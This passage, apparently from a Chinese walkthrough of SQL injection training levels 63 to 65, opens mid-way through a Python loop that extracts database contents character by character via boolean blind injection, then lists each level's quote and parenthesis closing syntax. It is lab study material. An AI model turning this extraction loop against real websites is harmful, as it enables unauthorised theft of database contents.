f\"and(substr((selEcT(group_concat({zd}))from({tables})),{p},1)=\'{a}\')--+\" num += 1 res = requests.get(url_db) if \"Angelina\" in res.text: if a == \"UNHEX(\'2D\')\": a = \'-\' users = f\"{users}{a}\" print(a, end=\'\') num = 0
还是太慢,这样说明代码没问题,可以这样爆
第六十三关
以单引号闭合+布尔盲注
第六十四关
以)) 闭合+布尔盲注
第六十五关
以\")闭合+布尔盲注